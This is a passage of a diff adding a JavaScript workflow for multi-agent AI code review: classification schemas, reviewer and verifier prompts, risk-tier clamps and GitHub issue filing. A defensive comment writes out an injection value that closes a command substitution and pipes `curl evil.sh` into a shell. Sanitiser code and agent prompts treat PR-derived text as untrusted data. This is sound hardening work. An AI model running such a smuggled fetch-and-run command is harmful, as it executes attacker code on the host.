+ 'data-integrity': 'dataIntegritySurface',
127
+ 'agent-native': 'agentNativeSurface',
128
+ performance: 'perfSurface',
129
+ }
130
+ function scaleAlwaysOn(dims, tier, t = {}) {
131
+ if (tier !== 'none') return dims
132
+ return dims.filter((d) => !(d in NONE_TIER_GATED) || t[NONE_TIER_GATED[d]])
133
+ }
134
+
135
+ // Mechanical surface predicates (ADR-267): byte-identical copies of
136
+ // fix-round-seats.sh's map arms (the parity test pins the copies), applied
137
+ // over `changedFiles` and OR-ed with the classify agent's booleans. A model
138
+ // report can only ADD a surface — never shed one that mechanically matches:
139
+ // the diff's path list is as author-influenced as the PR body the clamp
140
+ // distrusts.
141
+ const MECHANICAL_SURFACE_RE = {
142
+ sensitivePath: /^(apps\/web-platform\/(server|supabase|app\/api|middleware\.ts$)|apps\/web-platform\/lib\/(stripe|auth|byok|security-headers|csp|log-sanitize|safe-session|safe-return-to|supabase)|apps\/web-platform\/lib\/(legal|auth)\/|apps\/[^/]+\/infra\/|.+\/doppler[^/]*\.(yml|yaml|sh)$|\.github\/workflows\/.*(doppler|secret|token|deploy|release|version-bump|web-platform|infra-validation|cla|cf-token|linkedin-token).*\.ya?ml$)/,
143
+ gdprMatch: /^(apps\/web-platform\/supabase\/migrations\/|apps\/web-platform\/lib\/auth\/|apps\/web-platform\/server\/.*auth.*\.(ts|tsx|js)|apps\/web-platform\/app\/api\/.*\.(ts|tsx)$|.*\.sql$)/,
144
+ dataIntegritySurface: /(\/migrations\/|\/migrate\/|\.sql$|apps\/web-platform\/(server|supabase|lib)\/)/,
145
+ agentNativeSurface: /(apps\/web-platform\/(app|components)\/|plugins\/soleur\/(agents|skills|commands|docs)\/)/,
146
+ perfSurface: /(apps\/web-platform\/(server|supabase)\/|inngest|cron|queue|worker|bench|perf)/,
147
+ // Same fail-closed rule as the five above: a classify false-negative cannot
148
+ // shed a conditional seat the path map proves is in scope (paradigm-relevant
149
+ // for antiSlop, a required-fix brand gate). bashOnly has no path-presence
150
+ // equivalent (it quantifies over ALL files) — it stays model-judged.
151
+ hasMigration: /(\/migrations\/|\/migrate\/|\.sql$)/,
152
+ hasTests: /(\.test\.|\.spec\.|_test\.|_spec\.|(^|\/)test_[^/]*\.py$|__tests__\/|(^|\/)tests?\/|(^|\/)spec\/|Tests\.swift$|\.e2e\.[jt]sx?$|(^|\/)e2e\/|\.cy\.)/,
153
+ antiSlop: /(apps\/web-platform\/(app|components)\/.*\.(tsx|jsx|css)$|apps\/web-platform\/server\/.*\.(ts|tsx)$|plugins\/soleur\/docs\/.*\.(njk|css)$)/,
154
+ }
155
+ function mechanicalSurfaces(files = []) {
156
+ const out = {}
157
+ for (const [k, re] of Object.entries(MECHANICAL_SURFACE_RE))
158
+ if (files.some((f) => re.test(f.trim()))) out[k] = true
159
+ return out
160
+ }
161
+
162
+ // Tier resolution — the SCRIPT owns the fail-closed clamp, not the classify
163
+ // agent (a PR body is author-editable text). Mirrors preflight Check 6
164
+ // semantics: a sensitive-path diff cannot read as `none`/`undeclared` unless
165
+ // the declaration carries an explicit `threshold: none, reason:` scope-out.
166
+ // Never scales below the declared tier — an over-declared tier is reported via
167
+ // `tierMismatch`, not silently down-tiered.
168
+ function resolveTier(t = {}) {
169
+ const declared = t.brandThreshold || 'undeclared'
170
+ let tier = declared === 'undeclared' ? 'none' : declared
171
+ let source = declared === 'undeclared' ? 'undeclared' : t.brandThresholdSource || 'unknown'
172
+ if (t.sensitivePath && (declared === 'undeclared' || (declared === 'none' && !t.noneScopeOut))) {
173
+ tier = 'single-user incident'
174
+ source = 'sensitive-path clamp'
175
+ }
176
+ return { tier, source, declared }
177
+ }
178
+
179
+ // ---------------------------------------------------------------------------
180
+ // Schemas — validated at the tool-call layer, so agents retry on mismatch.
181
+ // ---------------------------------------------------------------------------
182
+ const CLASSIFY_SCHEMA = {
183
+ type: 'object',
184
+ required: ['class', 'changedFiles', 'totalFiles', 'totalLines', 'hasSource', 'rationale', 'triggers'],
185
+ additionalProperties: false,
186
+ properties: {
187
+ class: { type: 'string', enum: ['code', 'non-code', 'lockfile-only', 'deletion-dominated'] },
188
+ changedFiles: { type: 'array', items: { type: 'string' } },
189
+ totalFiles: { type: 'integer' },
190
+ totalLines: { type: 'integer' },
191
+ deletedFilesPct: { type: 'number' },
192
+ deletedLinesPct: { type: 'number' },
193
+ hasSource: { type: 'boolean' },
194
+ anyLockfile: { type: 'boolean' },
195
+ rationale: { type: 'string' },
196
+ triggers: {
197
+ type: 'object',
198
+ required: ['isRailsApp', 'hasRubyChange', 'hasMigration', 'hasTests', 'hasSource', 'bashOnly', 'gdprMatch', 'antiSlop', 'brandThreshold', 'brandThresholdSource', 'noneScopeOut', 'sensitivePath', 'dataIntegritySurface', 'agentNativeSurface', 'perfSurface'],
199
+ additionalProperties: false,
200
+ properties: {
201
+ isRailsApp: { type: 'boolean', description: 'repo root has BOTH Gemfile and config/routes.rb' },
202
+ hasRubyChange: { type: 'boolean', description: 'diff changes any *.rb file' },
203
+ hasMigration: { type: 'boolean', description: 'diff touches db/migrate/*.rb or supabase/migrations/*' },
204
+ hasTests: { type: 'boolean', description: 'diff touches a test/spec file (*.test.*, *.spec.*, *.e2e.<js|ts|jsx|tsx>, *.cy.*, *_spec.rb, test_*.py, *_test.py, *_test.go, *Tests.swift, __tests__/…, test/ spec/ e2e/ dirs, or a file importing a browser-test framework)' },
205
+ hasSource: { type: 'boolean' },
206
+ bashOnly: { type: 'boolean', description: 'every changed source file is .sh/.bash/.zsh (semgrep cannot analyze; use shellcheck)' },
207
+ gdprMatch: { type: 'boolean', description: 'a changed path matches the gdpr-gate canonical path globs (regulated-data surfaces)' },
208
+ antiSlop: { type: 'boolean', description: 'a changed path matches apps/web-platform/(app|components)/*.{tsx,jsx,css}, apps/web-platform/server/*.{ts,tsx}, or plugins/soleur/docs/*.{njk,css}' },
209
+ brandThreshold: { type: 'string', enum: ['none', 'single-user incident', 'aggregate pattern', 'undeclared'], description: 'the brand_survival_threshold declared by the PR body or its linked plan (PR body wins); undeclared when neither carries a threshold line' },
210
+ brandThresholdSource: { type: 'string', enum: ['pr-body', 'plan', 'undeclared'], description: 'which surface declared brandThreshold; undeclared when neither did' },
211
+ noneScopeOut: { type: 'boolean', description: 'the declaration carries an explicit "threshold: none, reason: <non-empty>" scope-out line' },
212
+ sensitivePath: { type: 'boolean', description: 'a changed path matches the preflight Check 6 sensitive-path regex' },
213
+ dataIntegritySurface: { type: 'boolean', description: 'diff touches migrations/*.sql or apps/web-platform/{server,supabase,lib}/ — the fix-round-seats.sh persistence arm' },
214
+ agentNativeSurface: { type: 'boolean', description: 'diff touches apps/web-platform/{app,components}/ or plugins/soleur/{agents,skills,commands,docs}/' },
215
+ perfSurface: { type: 'boolean', description: 'diff touches apps/web-platform/{server,supabase}/ or an inngest/cron/queue/worker/bench/perf path' },
216
+ },
217
+ },
218
+ },
219
+ }
220
+
221
+ const FINDINGS_SCHEMA = {
222
+ type: 'object',
223
+ required: ['findings'],
224
+ additionalProperties: false,
225
+ properties: {
226
+ findings: {
227
+ type: 'array',
228
+ items: {
229
+ type: 'object',
230
+ required: ['id', 'title', 'severity', 'file', 'description', 'provenance', 'fixSizeLines'],
231
+ additionalProperties: false,
232
+ properties: {
233
+ id: { type: 'string', pattern: '^[A-Za-z0-9._-]{1,40}$', description: 'short stable filename-safe slug, unique within this dimension' },
234
+ title: { type: 'string' },
235
+ severity: { type: 'string', enum: ['P1', 'P2', 'P3'] },
236
+ file: { type: 'string' },
237
+ line: { type: 'integer' },
238
+ description: { type: 'string' },
239
+ provenance: { type: 'string', enum: ['pr-introduced', 'pre-existing'] },
240
+ fixSizeLines: { type: 'integer', description: 'estimated LOC to fix' },
241
+ filesTouched: { type: 'integer', description: 'estimated files the fix touches' },
242
+ suggestedFix: { type: 'string' },
243
+ },
244
+ },
245
+ },
246
+ },
247
+ }
248
+
249
+ const VERDICT_SCHEMA = {
250
+ type: 'object',
251
+ required: ['isReal', 'confidence', 'reason'],
252
+ additionalProperties: false,
253
+ properties: {
254
+ isReal: { type: 'boolean', description: 'true only if the finding survives refutation' },
255
+ confidence: { type: 'string', enum: ['low', 'medium', 'high'] },
256
+ reason: { type: 'string' },
257
+ },
258
+ }
259
+
260
+ const CONCUR_SCHEMA = {
261
+ type: 'object',
262
+ required: ['decision', 'reason'],
263
+ additionalProperties: false,
264
+ properties: {
265
+ decision: { type: 'string', enum: ['CONCUR', 'DISSENT'], description: 'CONCUR co-signs the scope-out filing; DISSENT flips to fix-inline' },
266
+ reason: { type: 'string', description: 'one sentence' },
267
+ },
268
+ }
269
+
270
+ // ---------------------------------------------------------------------------
271
+ // Prompt builders.
272
+ // ---------------------------------------------------------------------------
273
+ const classifyPrompt = `You are the change-classification gate for a Soleur code review.
274
+ ${targetClause}
275
+
276
+ Compute, over the change (source of truth: \`${diffCmd}\`${isPR ? `; file list via \`gh pr view ${prNum} --json files,body\`` : ''}):
277
+ - changedFiles, totalFiles, deleted file/line counts, totalLines = added+deleted
278
+ - hasSource = any changed path matches \\.(ts|tsx|js|jsx|rb|py|go|rs|swift|kt|java|c|cpp|cs|php|sh|bash|zsh|mjs|cjs)$
279
+ - anyLockfile = any path matches package-lock.json|bun.lock|yarn.lock|Cargo.lock|go.sum|Gemfile.lock|poetry.lock|uv.lock
280
+
281
+ Apply this decision tree, FIRST MATCH WINS:
282
+ 1. lockfile-only: every non-lockfile change is knowledge-base/** or *.md AND anyLockfile AND NOT hasSource.
283
+ 2. deletion-dominated: totalFiles>0 AND totalLines>0 AND deletedFiles≥80% AND deletedLines≥80% AND NOT hasSource.
284
+ 3. code: hasSource.
285
+ 4. non-code: otherwise.
286
+
287
+ Also compute the conditional triggers (booleans) — inspect the repo and the diff:
288
+ - isRailsApp: repo root has BOTH Gemfile and config/routes.rb.
289
+ - hasRubyChange: diff changes any *.rb file.
290
+ - hasMigration: diff touches db/migrate/*.rb OR supabase/migrations/*.
291
+ - hasTests: diff touches any test/spec file (*.test.ts/js, *.spec.ts/js, *.e2e.<js|ts|jsx|tsx>, *.cy.*, *_spec.rb, test_*.py, *_test.py, *_test.go, *Tests.swift, or files under __tests__/ test/ spec/ e2e/, or a file importing a browser-test framework — playwright/cypress/puppeteer/webdriverio/selenium).
292
+ - bashOnly: hasSource is true AND every changed source file is .sh/.bash/.zsh.
293
+ - gdprMatch: any changed path looks like a regulated-data surface (auth, billing, PII, consent, user/profile/account data models, supabase migrations on personal data). Be conservative — only true on a clear match.
294
+ - antiSlop: any changed path matches apps/web-platform/(app|components)/*.{tsx,jsx,css}, apps/web-platform/server/*.{ts,tsx}, or plugins/soleur/docs/*.{njk,css}.
295
+ - brandThreshold + brandThresholdSource: the PR body's "Brand-survival threshold:" value ('pr-body') if present, else the linked plan's ('plan'), else 'undeclared'. Values: none | single-user incident | aggregate pattern | undeclared.
296
+ - noneScopeOut: the declaration carries an explicit "threshold: none, reason: <non-empty>" line.
297
+ - sensitivePath: a changed path matches preflight Check 6's sensitive-path regex (server/, supabase/, app/api/, middleware.ts, security/auth/stripe/legal libs, apps/*/infra/, doppler-*.yml/sh, credential-handling workflows).
298
+ - dataIntegritySurface: the diff touches migrations/*.sql or apps/web-platform/{server,supabase,lib}/.
299
+ - agentNativeSurface: the diff touches apps/web-platform/{app,components}/ or plugins/soleur/{agents,skills,commands,docs}/.
300
+ - perfSurface: the diff touches apps/web-platform/{server,supabase}/ or an inngest/cron/queue/worker/bench/perf path.
301
+
302
+ Return the classification object. Do NOT review the code — only classify.`
303
+
304
+ function reviewPrompt(dim) {
305
+ const d = DIMENSIONS[dim]
306
+ return `You are reviewing a code change through ONE lens: ${d.lens}.
307
+ ${targetClause}
308
+
309
+ Read the diff (\`${diffCmd}\`) and any surrounding context you need. Report ONLY findings within your lens. For each finding:
310
+ - Assign severity P1 (critical) / P2 (important) / P3 (nice-to-have).
311
+ - Tag provenance: "pr-introduced" if this change added/modified the critiqued code (inspect ${fileDiffCmd}), else "pre-existing". When ambiguous, default to pr-introduced.
312
+ - Estimate fixSizeLines and filesTouched for the smallest correct fix.
313
+ Be precise and conservative — a finding you cannot defend will be refuted in the next stage. Return an empty findings array if the diff is clean for your lens.`
314
+ }
315
+
316
+ const VERIFY_LENSES = [
317
+ { key: 'correctness', ask: 'Is the finding technically correct against the real code, or a false positive / misread?' },
318
+ { key: 'scope', ask: 'Is the finding actually in-scope for THIS diff, or pre-existing/unrelated noise dressed up as a PR concern?' },
319
+ { key: 'already-handled', ask: 'Is the concern already handled elsewhere (a guard, a sibling, an existing test, a convention) so the finding is moot?' },
320
+ ]
321
+
322
+ function verifyPrompt(f, lens) {
323
+ return `Adversarially verify this code-review finding through the "${lens.key}" lens: ${lens.ask}
324
+ Your DEFAULT is that it is NOT real — set isReal=false unless the evidence is concrete and survives your lens.
325
+
326
+ Finding:
327
+ - title: ${f.title}
328
+ - severity: ${f.severity}
329
+ - file: ${f.file}${f.line ? `:${f.line}` : ''}
330
+ - provenance: ${f.provenance}
331
+ - description: ${f.description}
332
+ ${f.suggestedFix ? `- proposed fix: ${f.suggestedFix}` : ''}
333
+
334
+ ${targetClause}
335
+ Inspect the actual code (read the change via \`${diffCmd}\`, locate ${f.file}, read the file for context). Only return isReal=true if the finding genuinely holds.`
336
+ }
337
+
338
+ function concurPrompt(f) {
339
+ return `You are the simplicity-biased SECOND reviewer on a proposed deferred-scope-out filing. DEFAULT to DISSENT (i.e. fix inline). Only CONCUR when a scope-out criterion is concretely and obviously satisfied.
340
+
341
+ Proposed scope-out:
342
+ - finding: ${f.title} (${f.severity}) — ${f.file}
343
+ - description: ${f.description}
344
+ - proposed fix: ${f.suggestedFix || '(none stated)'}
345
+ - size: ${f.fixSizeLines} lines / ${f.filesTouched ?? '?'} files
346
+ - provenance: ${f.provenance}
347
+
348
+ The FOUR scope-out criteria (a filing needs at least one, AND a concrete re-eval trigger):
349
+ 1. cross-cutting-refactor — fix touches ≥3 files materially unrelated to this PR's core change.
350
+ 2. contested-design — the REVIEW AGENT (not the author) independently named ≥2 valid approaches trading off differently, recommending a separate design cycle.
351
+ 3. architectural-pivot — fix changes a codebase-wide pattern deserving its own planning cycle.
352
+ 4. pre-existing-unrelated — finding existed on main and is not exacerbated by this PR. NEVER valid for pr-introduced findings.
353
+
354
+ Hard rules: pr-introduced findings MUST fix inline (auto-DISSENT). A fix ≤100 lines AND ≤4 files MUST fix inline (auto-DISSENT). DISSENT on any vague re-eval trigger.
355
+ Reply with decision CONCUR or DISSENT and a one-sentence reason.`
356
+ }
357
+
358
+ // Builds the File-phase agent prompt that creates a deferred-scope-out issue.
359
+ // fid is the sanitized finding id (filename-safe); title/body are pre-built and
360
+ // passed as DATA the agent writes to temp files — never interpolated into a
361
+ // command. The title flows through `--title "$(cat …)"` (double-quoted command
362
+ // substitution, not re-parsed); the body goes via --body-file (never shell-parsed).
363
+ function fileIssuePrompt(fid, safeTitleStr, issueBody) {
364
+ return `File a co-signed deferred-scope-out GitHub issue. Do EXACTLY these steps; do not improvise the shell or interpolate the title/body into a command:
365
+ 1. Use the Write tool to write the text between the BODY markers (verbatim, it is data not a command) to \`/tmp/scopeout-body-${fid}.md\`.
366
+ 2. Use the Write tool to write the text between the TITLE markers (verbatim) to \`/tmp/scopeout-title-${fid}.txt\`.
367
+ 3. Run exactly: gh issue create --label deferred-scope-out --title "$(cat /tmp/scopeout-title-${fid}.txt)" --body-file /tmp/scopeout-body-${fid}.md
368
+ (the title is double-quoted command substitution — do not unquote it; the body goes via --body-file so it is never shell-parsed.)
369
+ 4. Return the created issue URL as plain text.
370
+
371
+ ---TITLE START---
372
+ ${safeTitleStr}
373
+ ---TITLE END---
374
+
375
+ ---BODY START---
376
+ ${issueBody}
377
+ ---BODY END---`
378
+ }
379
+
380
+ // Harden untrusted finding text before it can reach an issue TITLE (which an
381
+ // agent passes as a shell argv to `gh`). Finding titles derive from the diff
382
+ // under review — i.e. potentially attacker-controlled PR content. Strip control
383
+ // chars + shell metacharacters, collapse whitespace, cap length. The constant
384
+ // "review: " prefix (added at the call site) guarantees no leading "-", which
385
+ // blocks argv flag-smuggling into gh.
386
+ function safeTitle(raw) {
387
+ return String(raw)
388
+ .replace(/[\x00-\x1f\x7f]/g, " ") // control chars incl. newlines
389
+ .replace(/[`$"'\\;|&<>(){}[\]!*?~#]/g, ' ') // shell metacharacters, backslash, brackets
390
+ .replace(/\s+/g, ' ')
391
+ .trim()
392
+ .slice(0, 120)
393
+ }
394
+
395
+ // Harden the finding `id` before it reaches a shell argv / temp-file path. The
396
+ // id is an LLM-authored slug derived from the diff under review (attacker-
397
+ // influenceable) and FINDINGS_SCHEMA.id has no pattern constraint, so a value
398
+ // like `x.txt) ; curl evil.sh | sh #` would otherwise close the `$(cat …)`
399
+ // substitution in the filing command. Allow only filename-safe characters.
400
+ // Mirrors resolve-todo-parallel.workflow.js's safeId() rationale.
401
+ function safeId(raw, fallback = 'finding') {
402
+ const s = String(raw).replace(/[^A-Za-z0-9._-]/g, '').replace(/^[.-]+/, '').slice(0, 40)
403
+ return s || fallback
404
+ }
405
+
406
+ // Deterministic disposition — replaces the SKILL's prose cost-of-filing gate.
407
+ function disposition(f) {
408
+ if (f.provenance === 'pr-introduced') return 'fix-inline'
409
+ const lines = f.fixSizeLines ?? 999
410
+ const files = f.filesTouched ?? 9
411
+ if (lines <= 30 && files <= 2) return 'fix-inline'
412
+ return 'scope-out-candidate'
413
+ }
414
+
415
+ // ---------------------------------------------------------------------------
416
+ // Budget. The verification fan-out is the expensive part; floor it so we keep
417
+ // headroom for synthesis + filing. NEVER silently skip — log dropped coverage.
418
+ // ---------------------------------------------------------------------------
419
+ const VERIFY_FLOOR = 80_000 // output tokens to reserve past verification
420
+ // Perspective-diverse panel when deep — or at `aggregate pattern` tier
421
+ // (ADR-267). Assigned after Classify, since the tier is a classify output.
422
+ let SKEPTICS = 1
423
+ const droppedVerification = []
424
+
425
+ function budgetOk() {
426
+ return !budget.total || budget.remaining() > VERIFY_FLOOR
427
+ }
428
+
429
+ // Deterministic-tool findings (shellcheck / semgrep / anti-slop / gdpr-gate)
430
+ // are ground truth — adversarially refuting an SC2086 or a BRAND-RAW-HEX hit is
431
+ // wrong AND wasteful. Auto-confirm them; only LLM-judgment findings get verified.
432
+ function autoConfirm(f, dim) {
433
+ return {
434
+ ...f,
435
+ dimension: dim,
436
+ deterministic: true,
437
+ verdict: { isReal: true, confidence: 'high', reason: 'deterministic tool/skill finding — taken as ground truth, not adversarially verified.' },
438
+ }
439
+ }
440
+
441
+ async function verifyFinding(f, dim) {
442
+ if (!budgetOk()) {
443
+ droppedVerification.push(`${dim}:${f.id}`)
444
+ // Conservative: surface UNVERIFIED rather than drop the finding entirely.
445
+ return {
446
+ ...f,
447
+ dimension: dim,
448
+ unverified: true,
449
+ verdict: { isReal: true, confidence: 'low', reason: `UNVERIFIED — token budget floor (${VERIFY_FLOOR}) reached; surfaced without adversarial check.` },
450
+ }
451
+ }
452
+ const lenses = VERIFY_LENSES.slice(0, SKEPTICS)
453
+ const votes = (
454
+ await parallel(
455
+ lenses.map((lens) => () =>
456
+ agent(verifyPrompt(f, lens), { label: `verify:${dim}:${f.id}:${lens.key}`, phase: 'Verify', schema: VERDICT_SCHEMA }),
457
+ ),
458
+ )
459
+ ).filter(Boolean)
460
+ // Majority-real survives. No votes (all errored) → conservative keep.
461
+ const realVotes = votes.filter((v) => v.isReal).length
462
+ const isReal = votes.length ? realVotes >= Math.ceil(votes.length / 2) : true
463
+ // Best reason = the deciding side's highest-confidence vote.
464
+ const conf = { low: 0, medium: 1, high: 2 }
465
+ const side = votes.filter((v) => v.isReal === isReal).sort((a, b) => conf[b.confidence] - conf[a.confidence])[0]
466
+ return {
467
+ ...f,
468
+ dimension: dim,
469
+ votes: votes.length,
470
+ verdict: side || { isReal, confidence: 'low', reason: 'no verifier returned' },
471
+ }
472
+ }
473
+
474
+ // ---------------------------------------------------------------------------
475
+ // Run.
476
+ // ---------------------------------------------------------------------------
477
+ // ---------------------------------------------------------------------------
478
+ // ADR-110: semantic tier → harness spawn value. Workflow runtime has no import
479
+ // (same constraint as plan-review named-panel inlining). Source of truth:
480
+ // plugins/soleur/lib/harness-model-map.ts — keep this copy byte-identical.
481
+ // <!-- harness-model-map:start -->
482
+ function resolveWorkflowModel(tier) {
483
+ var env = (typeof process !== 'undefined' && process.env) ? process.env : {}
484
+ var claude = !!env.CLAUDECODE
485
+ var opencode = !claude && !!env.OPENCODE
486
+ var grok = !claude && !opencode && (env.GROK_HOME || env.GROK_AGENT || env.GROK_DEFAULT_MODEL || env.GROK_SUBAGENTS)
487
+ var map = grok
488
+ ? { cheap: 'grok-4.5', standard: 'grok-4.7', strong: 'grok-4.7', advisor: 'grok-4.7', inherit: 'inherit' }
489
+ : claude
490
+ ? { cheap: 'haiku', standard: 'sonnet', strong: 'opus', advisor: 'fable', inherit: 'inherit' }
491
+ : opencode
492
+ ? { cheap: 'opencode/glm-5.3-flash-free', standard: 'opencode/big-pickle', strong: 'opencode/big-pickle', advisor: 'opencode/big-pickle', inherit: 'inherit' }
493
+ : { cheap: 'inherit', standard: 'inherit', strong: 'inherit', advisor: 'inherit', inherit: 'inherit' }
494
+ var resolved = map[tier]
495
+ if (!resolved) throw new Error('unknown semantic tier: ' + String(tier))
496
+ return resolved
497
+ }
498
+ ;(function (hostAgent) {
499
+ agent = function agent(prompt, opts) {
500
+ if (opts && typeof opts.model === 'string') {
501
+ opts.model = resolveWorkflowModel(opts.model)
502
+ }
503
+ return hostAgent(prompt, opts)
504
+ }
505
+ })(agent)
506
+ // <!-- harness-model-map:end -->
507
+ // ---------------------------------------------------------------------------
508
+
509
+ phase('Classify')
510
+ log('tier pins: classify→standard, file→cheap (mechanical steps per ADR-053; judgment steps inherit the session model)')
511
+ // Pinned 'standard': schema-constrained diff-class classification is mechanical (ADR-053).
512
+ const classification = await agent(classifyPrompt, { label: 'classify', phase: 'Classify', schema: CLASSIFY_SCHEMA, model: 'standard' })
513
+ if (!classification) {
514
+ // Classify agent died (terminal API error). Without a class we cannot fan out
515
+ // the right dimensions — fail loudly rather than dereference null.
516
+ log('Classify agent returned no result — aborting review.')
517
+ return { error: 'classify-failed', target: isPR ? `PR #${prNum}` : target || '(current branch)' }
518
+ }
519
+
520
+ const cls = deepReview ? 'code' : classification.class
521
+ // Merge the classify agent's flags with the mechanical path predicates — a
522
+ // model-reported false can never shed a surface that matches by regex.
523
+ const triggers = { ...classification.triggers, ...mechanicalSurfaces(classification.changedFiles) }
524
+ // Risk tier (ADR-267): resolved fail-closed here — the classify agent reports
525
+ // what was declared; the script applies the sensitive-path clamp.
526
+ const { tier: riskTier, source: tierSource } = resolveTier(triggers)
527
+ SKEPTICS = deepReview || riskTier === 'aggregate pattern' ? 3 : 1
528
+ // `deep review`/`full review` beats every tier row — the full always-on set.
529
+ const alwaysOn = deepReview
530
+ ? (CLASS_DIMENSIONS[cls] || CLASS_DIMENSIONS.code)
531
+ : scaleAlwaysOn(CLASS_DIMENSIONS[cls] || CLASS_DIMENSIONS.code, riskTier, triggers)
532
+ const conditional = conditionalDimensions({ ...triggers, brandThreshold: riskTier })
533
+ const dims = [...alwaysOn, ...conditional]
534
+ log(
535
+ `Class: ${cls}${deepReview ? ' (forced)' : ''} — ${classification.totalFiles} files / ${classification.totalLines} lines. ` +
536
+ `Tier: ${riskTier} (source: ${tierSource}). ` +
537
+ `${alwaysOn.length} always-on + ${conditional.length} conditional` +
538
+ `${conditional.length ? ` (${conditional.join(', ')})` : ''} = ${dims.length} dimensions, ${SKEPTICS} skeptic(s)/finding.`,
539
+ )
540
+
541
+ // Pipeline: NO barrier between Review and Verify. The moment a dimension review
542
+ // lands, its findings start getting refuted while other dimensions still read.
543
+ const perDimension = await pipeline(
544
+ dims,
545
+ (dim) =>
546
+ agent(DIMENSIONS[dim].prompt ? DIMENSIONS[dim].prompt() : reviewPrompt(dim), {
547
+ label: `review:${dim}`,
548
+ phase: 'Review',
549
+ schema: FINDINGS_SCHEMA,
550
+ agentType: DIMENSIONS[dim].agentType, // undefined for tool/skill dims → default agent
551
+ }),
552
+ (review, dim) =>
553
+ parallel((review?.findings || []).map((f) => () => (DIMENSIONS[dim].deterministic ? Promise.resolve(autoConfirm(f, dim)) : verifyFinding(f, dim)))),
554
+ )
555
+
556
+ phase('Synthesize')
557
+ const all = perDimension.flat().filter(Boolean)
558
+ const confirmed = all.filter((f) => f.verdict?.isReal)
559
+ const refuted = all.filter((f) => !f.verdict?.isReal)
560
+
561
+ // Dedup confirmed by file + normalized title (cross-dimension overlap).
562
+ const seen = new Set()
563
+ const deduped = []
564
+ for (const f of confirmed) {
565
+ const key = `${f.file}::${f.title.trim().toLowerCase().slice(0, 60)}`
566
+ if (seen.has(key)) continue
567
+ seen.add(key)
568
+ deduped.push({ ...f, disposition: disposition(f) })
569
+ }
570
+ const order = { P1: 0, P2: 1, P3: 2 }
571
+ deduped.sort((a, b) => order[a.severity] - order[b.severity] || a.file.localeCompare(b.file))
572
+
573
+ // -------------------------------------------------------------------------
574
+ // File: CONCUR-gated deferred-scope-out filing. Every scope-out candidate is
575
+ // independently co-signed by a simplicity-biased reviewer (DEFAULT DISSENT).
576
+ // DISSENT flips back to fix-inline. CONCUR → file (only if args.file), else
577
+ // emit the would-file payload (dry-run).
578
+ // -------------------------------------------------------------------------
579
+ phase('File')
580
+ const candidates = deduped.filter((f) => f.disposition === 'scope-out-candidate')
581
+ const filings = []
582
+ if (candidates.length) {
583
+ const judged = await parallel(
584
+ candidates.map((f) => () => agent(concurPrompt(f), { label: `concur:${f.dimension}:${f.id}`, phase: 'File', schema: CONCUR_SCHEMA }).then((c) => ({ f, concur: c }))),
585
+ )
586
+ const judgedOk = judged.filter(Boolean)
587
+ for (let idx = 0; idx < judgedOk.length; idx++) {
588
+ const j = judgedOk[idx]
589
+ if (j.concur.decision !== 'CONCUR') {
590
+ // Gate flipped it: fix inline after all.
591
+ j.f.disposition = 'fix-inline'
592
+ filings.push({ finding: j.f.title, file: j.f.file, action: 'flipped-to-fix-inline', why: j.concur.reason })
593
+ continue
594
+ }
595
+ const issueBody = `## Scope-Out Justification\n\nFrom code review of ${isPR ? `PR #${prNum}` : target || 'current branch'}.\n\n**Finding:** ${j.f.title} (${j.f.severity}, ${j.f.dimension})\n**File:** ${j.f.file}${j.f.line ? `:${j.f.line}` : ''}\n**Provenance:** ${j.f.provenance}\n\n${j.f.description}\n\n**Proposed fix:** ${j.f.suggestedFix || '(see description)'}\n\n**CONCUR rationale:** ${j.concur.reason}`
596
+ // Title and body both derive from untrusted diff content. Sanitize the
597
+ // title (it becomes a shell argv) and pass title + body to the agent as
598
+ // DATA to write to files with its Write tool — never as an interpolated
599
+ // command. The constant "review: " prefix guarantees no leading "-".
600
+ const safeTitleStr = `review: ${safeTitle(j.f.title)}`
601
+ // safeId neutralizes the LLM-authored id before it reaches the temp-file
602
+ // paths AND the `$(cat …)` substitution in the gh command (P1 fix).
603
+ const fid = safeId(j.f.id, `${idx}`)
604
+ if (fileScopeOuts) {
605
+ // Pinned 'cheap': template-fill GitHub issue filing from one structured finding (ADR-053).
606
+ const filed = await agent(fileIssuePrompt(fid, safeTitleStr, issueBody), { label: `file:${fid}`, phase: 'File', model: 'cheap' })
607
+ filings.push({ finding: j.f.title, file: j.f.file, action: 'filed', url: filed })
608
+ } else {
609
+ filings.push({ finding: j.f.title, file: j.f.file, action: 'dry-run', wouldFileTitle: safeTitleStr, wouldFileBody: issueBody })
610
+ }
611
+ }
612
+ }
613
+
614
+ // Over-declaration is REPORTED, never silently down-tiered (ADR-267): when the
615
+ // declared tier exceeds what the diff's shape suggests, the seats still spawn —
616
+ // this flag is the signal for the human/ship gate to push back on the plan.
617
+ const TIER_RANK = { undeclared: -1, none: 0, 'single-user incident': 1, 'aggregate pattern': 2 }
618
+ // Read the MERGED triggers (model flags OR-ed with mechanical path matches),
619
+ // not the raw classify output — a mechanically-matched sensitive path must
620
+ // not make an honestly-declared `single-user incident` read as a mismatch.
621
+ const suggestedTier = triggers.sensitivePath ? 'single-user incident' : 'none'
622
+ const tierMismatch = TIER_RANK[classification.triggers.brandThreshold || 'undeclared'] > TIER_RANK[suggestedTier]
623
+
624
+ const report = {
625
+ target: isPR ? `PR #${prNum}` : target || '(current branch)',
626
+ class: cls,
627
+ riskTier,
628
+ tierSource,
629
+ tierMismatch,
630
+ seatsSpawned: dims.length,
631
+ dimensionsRun: { alwaysOn, conditional },
632
+ // #9403: pipeline-tally bridge — invoking prose posts `counts.seats` via
633
+ // `pipeline-tally.sh incr seats <n>`. seats = dimension agents spawned
634
+ // (alwaysOn + conditional); skeptic verifiers are per-finding sub-checks,
635
+ // not seats.
636
+ counts: { seats: alwaysOn.length + conditional.length },
637
+ skepticsPerFinding: SKEPTICS,
638
+ budget: { total: budget.total, spent: budget.spent(), droppedVerification },
639
+ totals: {
640
+ raised: all.length,
641
+ confirmed: deduped.length,
642
+ mergedGroups: confirmed.length - deduped.length,
643
+ refuted: refuted.length,
644
+ fixInline: deduped.filter((f) => f.disposition === 'fix-inline').length,
645
+ scopeOutCandidates: deduped.filter((f) => f.disposition === 'scope-out-candidate').length,
646
+ filed: filings.filter((x) => x.action === 'filed').length,
647
+ flippedToFixInline: filings.filter((x) => x.action === 'flipped-to-fix-inline').length,
648
+ },
649
+ bySeverity: {
650
+ P1: deduped.filter((f) => f.severity === 'P1'),
651
+ P2: deduped.filter((f) => f.severity === 'P2'),
652
+ P3: deduped.filter((f) => f.severity === 'P3'),
653
+ },
654
+ findings: deduped,
655
+ filings,
656
